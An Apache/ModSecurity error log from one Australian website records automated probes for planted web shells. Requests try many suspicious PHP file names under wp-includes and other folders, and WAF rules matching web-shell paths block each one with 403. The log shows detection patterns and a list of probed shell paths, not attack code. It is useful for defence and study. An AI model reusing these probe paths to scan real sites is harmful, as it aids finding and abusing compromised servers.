[Fri Nov 21 16:03:08.303971 2025] [:error] [pid 25431:tid 25492] [client 136.144.42.72:34549] [client 136.144.42.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.42.72, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSAcvMklhXxmoIExII02wgAAAIU"]
[Fri Nov 21 16:03:09.176327 2025] [:error] [pid 25431:tid 25503] [client 136.144.42.72:34549] [client 136.144.42.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aSAcvcklhXxmoIExII02xgAAAJA"]
[Fri Nov 21 16:03:12.990272 2025] [:error] [pid 25429:tid 25439] [client 45.132.227.66:30653] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aSAcwD4rZbRSr7vu-NOrPwAAAAY"]
[Fri Nov 21 16:03:13.871663 2025] [:error] [pid 25431:tid 25489] [client 172.98.32.82:44553] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Fri Nov 21 16:03:14.313368 2025] [:error] [pid 25431:tid 25507] [client 172.98.32.82:44553] [client 172.98.32.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aSAcwsklhXxmoIExII020QAAAJQ"]
[Fri Nov 21 16:03:15.230725 2025] [:error] [pid 46939:tid 46949] [client 136.144.42.78:36517] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aSAcw-0OmVoxD4VZ_Zl1CgAAAUc"]
[Fri Nov 21 16:03:16.101156 2025] [:error] [pid 25554:tid 25581] [client 172.98.32.94:57947] File does not exist: /usr/local/apache/htdocs/suspended-page/shop.php
[Fri Nov 21 16:03:17.493596 2025] [:error] [pid 25554:tid 25570] [client 172.98.32.94:57947] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aSAcxR-NtB-9AzFZrk5XnQAAAQw"]
[Fri Nov 21 16:03:19.400255 2025] [:error] [pid 25554:tid 25558] [client 172.98.32.88:20459] [client 172.98.32.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSAcxx-NtB-9AzFZrk5XogAAAQA"]
[Fri Nov 21 16:03:20.282866 2025] [:error] [pid 25554:tid 25575] [client 172.98.32.95:30253] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-api.php
[Fri Nov 21 16:03:21.237157 2025] [:error] [pid 25554:tid 25559] [client 172.98.32.95:30253] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Fri Nov 21 16:03:22.098746 2025] [:error] [pid 25554:tid 25565] [client 172.98.32.95:30253] [client 172.98.32.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aSAcyh-NtB-9AzFZrk5XsAAAAQc"]
[Fri Nov 21 16:03:23.019882 2025] [:error] [pid 25521:tid 25536] [client 45.132.227.57:52155] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aSAcy_hXnBMilDddn3XqswAAAM0"]
[Fri Nov 21 16:03:24.384561 2025] [:error] [pid 25430:tid 25484] [client 45.132.227.59:43421] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/count.php"] [unique_id "aSAczKpnWJcWt_4foXlHPgAAAFg"]
[Fri Nov 21 16:03:26.729914 2025] [:error] [pid 46939:tid 46944] [client 136.144.42.75:39159] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-error_log.php
[Fri Nov 21 16:03:29.563706 2025] [:error] [pid 46939:tid 46947] [client 136.144.42.75:39159] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSAc0e0OmVoxD4VZ_Zl1XAAAAUU"]
[Fri Nov 21 16:03:31.335063 2025] [:error] [pid 25554:tid 25575] [client 136.144.42.74:58547] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "www.windfarmcoolants.com.au"] [uri "/images/stories/themes.php"] [unique_id "aSAc0x-NtB-9AzFZrk5X1QAAARE"]
[Fri Nov 21 16:03:31.761772 2025] [:error] [pid 25554:tid 25563] [client 136.144.42.74:58547] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aSAc0x-NtB-9AzFZrk5X1wAAAQU"]
[Fri Nov 21 16:03:33.502996 2025] [:error] [pid 25521:tid 25542] [client 172.98.32.88:28933] [client 172.98.32.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aSAc1fhXnBMilDddn3Xq2AAAANM"]
[Fri Nov 21 16:03:34.388517 2025] [:error] [pid 25521:tid 25541] [client 172.98.32.85:48173] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aSAc1vhXnBMilDddn3Xq3AAAANI"]
[Fri Nov 21 16:03:36.239758 2025] [:error] [pid 25430:tid 25482] [client 45.132.227.53:52535] File does not exist: /usr/local/apache/htdocs/suspended-page/files.php
[Fri Nov 21 16:03:38.089206 2025] [:error] [pid 25430:tid 25460] [client 45.132.227.53:52535] [client 45.132.227.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aSAc2qpnWJcWt_4foXlHgAAAAEA"]
[Fri Nov 21 16:03:39.914678 2025] [:error] [pid 25430:tid 25471] [client 45.132.227.62:40125] [client 45.132.227.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aSAc26pnWJcWt_4foXlHhgAAAEs"]
[Fri Nov 21 16:03:41.270676 2025] [:error] [pid 25430:tid 25482] [client 45.132.227.64:42331] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aSAc3apnWJcWt_4foXlHiAAAAFY"]
[Fri Nov 21 16:03:42.139044 2025] [:error] [pid 25430:tid 25476] [client 172.98.32.90:38279] File does not exist: /usr/local/apache/htdocs/suspended-page/blog.php
[Fri Nov 21 16:03:44.359838 2025] [:error] [pid 25430:tid 25465] [client 172.98.32.90:38279] [client 172.98.32.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aSAc4KpnWJcWt_4foXlHlAAAAEU"]
[Fri Nov 21 16:03:45.692795 2025] [:error] [pid 46939:tid 46956] [client 136.144.42.79:23725] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aSAc4e0OmVoxD4VZ_Zl1rgAAAU4"]
[Fri Nov 21 16:03:46.604508 2025] [:error] [pid 25521:tid 25524] [client 136.144.42.75:40231] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Fri Nov 21 16:03:47.099961 2025] [:error] [pid 25521:tid 25547] [client 136.144.42.75:40231] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aSAc4_hXnBMilDddn3XrAAAAANg"]
[Fri Nov 21 16:03:47.993382 2025] [:error] [pid 25429:tid 25438] [client 45.132.227.60:42819] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aSAc4z4rZbRSr7vu-NOrvAAAAAU"]
[Fri Nov 21 16:03:49.818992 2025] [:error] [pid 25554:tid 25571] [client 172.98.32.96:60839] [client 172.98.32.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aSAc5R-NtB-9AzFZrk5YDgAAAQ0"]
[Fri Nov 21 16:03:52.013973 2025] [:error] [pid 46939:tid 46947] [client 172.98.32.89:31595] File does not exist: /usr/local/apache/htdocs/suspended-page/entrepreneuse.php
[Fri Nov 21 16:03:52.460890 2025] [:error] [pid 46939:tid 46961] [client 172.98.32.89:31595] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aSAc6O0OmVoxD4VZ_Zl10wAAAVM"]
[Fri Nov 21 16:03:53.344749 2025] [:error] [pid 46939:tid 46952] [client 136.144.42.78:44897] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aSAc6e0OmVoxD4VZ_Zl12AAAAUo"]
[Fri Nov 21 16:03:56.570864 2025] [:error] [pid 25521:tid 25545] [client 172.98.32.84:27481] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aSAc7PhXnBMilDddn3XrJQAAANY"]
[Fri Nov 21 16:03:58.348049 2025] [:error] [pid 25431:tid 25494] [client 45.132.227.52:30991] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aSAc7sklhXxmoIExII03WQAAAIc"]
[Fri Nov 21 16:03:59.236728 2025] [:error] [pid 25431:tid 25505] [client 45.132.227.65:26087] File does not exist: /usr/local/apache/htdocs/suspended-page/testt.php
[Fri Nov 21 16:04:00.595895 2025] [:error] [pid 25431:tid 25506] [client 45.132.227.65:26087] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aSAc8MklhXxmoIExII03ZQAAAJM"]
[Fri Nov 21 16:04:01.551221 2025] [:error] [pid 25429:tid 25439] [client 172.98.32.86:48183] [client 172.98.32.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aSAc8T4rZbRSr7vu-NOr5AAAAAY"]
[Fri Nov 21 16:04:02.973813 2025] [:error] [pid 46939:tid 46953] [client 45.132.227.57:33705] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aSAc8u0OmVoxD4VZ_Zl2DAAAAUs"]
[Fri Nov 21 16:04:03.853143 2025] [:error] [pid 46939:tid 46951] [client 172.98.32.80:29365] File does not exist: /usr/local/apache/htdocs/suspended-page/network.php
[Fri Nov 21 16:04:04.732289 2025] [:error] [pid 46939:tid 46953] [client 172.98.32.80:29365] [client 172.98.32.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aSAc9O0OmVoxD4VZ_Zl2HAAAAUs"]
[Fri Nov 21 16:04:05.609515 2025] [:error] [pid 46939:tid 46951] [client 45.132.227.60:61639] File does not exist: /usr/local/apache/htdocs/suspended-page/wikindex.php
[Fri Nov 21 16:04:06.518339 2025] [:error] [pid 46939:tid 46943] [client 45.132.227.60:61639] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aSAc9u0OmVoxD4VZ_Zl2JwAAAUE"]
[Fri Nov 21 16:04:07.443798 2025] [:error] [pid 25430:tid 25472] [client 45.132.227.68:40605] [client 45.132.227.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aSAc96pnWJcWt_4foXlHvQAAAEw"]
[Fri Nov 21 16:04:08.823932 2025] [:error] [pid 25521:tid 25538] [client 45.132.227.63:34537] [client 45.132.227.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSAc-PhXnBMilDddn3XrRwAAAM8"]
[Fri Nov 21 16:04:09.723264 2025] [:error] [pid 25521:tid 25523] [client 136.144.42.79:31853] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aSAc-fhXnBMilDddn3XrSwAAAMA"]
[Fri Nov 21 16:04:12.120729 2025] [:error] [pid 25429:tid 25440] [client 45.132.227.52:26441] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSAc_D4rZbRSr7vu-NOsDgAAAAc"]
[Fri Nov 21 16:04:13.548275 2025] [:error] [pid 25429:tid 25454] [client 45.132.227.65:42025] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aSAc_T4rZbRSr7vu-NOsFQAAABU"]
[Fri Nov 21 16:04:14.455194 2025] [:error] [pid 25431:tid 25499] [client 172.98.32.95:51479] [client 172.98.32.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aSAc_sklhXxmoIExII03mgAAAIw"]
[Fri Nov 21 16:04:15.350443 2025] [:error] [pid 25554:tid 25568] [client 172.98.32.84:34347] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aSAc_x-NtB-9AzFZrk5YZgAAAQo"]
[Fri Nov 21 16:04:17.568065 2025] [:error] [pid 46939:tid 46963] [client 172.98.32.88:37013] [client 172.98.32.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aSAdAe0OmVoxD4VZ_Zl2TgAAAVU"]
[Fri Nov 21 16:04:19.350430 2025] [:error] [pid 25554:tid 25574] [client 172.98.32.89:54059] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aSAdAx-NtB-9AzFZrk5YfgAAARA"]
[Fri Nov 21 16:04:20.687668 2025] [:error] [pid 25430:tid 25476] [client 45.132.227.66:52197] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aSAdBKpnWJcWt_4foXlH5gAAAFA"]
[Fri Nov 21 16:04:22.051933 2025] [:error] [pid 25431:tid 25501] [client 136.144.42.70:48965] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aSAdBsklhXxmoIExII03xgAAAI4"]
[Fri Nov 21 16:04:23.892898 2025] [:error] [pid 25521:tid 25534] [client 172.98.32.89:60611] File does not exist: /usr/local/apache/htdocs/suspended-page/media-new.php
[Fri Nov 21 16:04:25.639442 2025] [:error] [pid 25521:tid 25539] [client 172.98.32.89:60611] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSAdCfhXnBMilDddn3XrogAAANA"]
[Fri Nov 21 16:04:26.510629 2025] [:error] [pid 25429:tid 25439] [client 172.98.32.94:33423] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aSAdCj4rZbRSr7vu-NOsTgAAAAY"]
[Fri Nov 21 16:04:27.886731 2025] [:error] [pid 25429:tid 25451] [client 172.98.32.96:20293] File does not exist: /usr/local/apache/htdocs/suspended-page/pages.php
[Fri Nov 21 16:04:28.315371 2025] [:error] [pid 25429:tid 25447] [client 172.98.32.96:20293] [client 172.98.32.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aSAdDD4rZbRSr7vu-NOsWAAAAA4"]
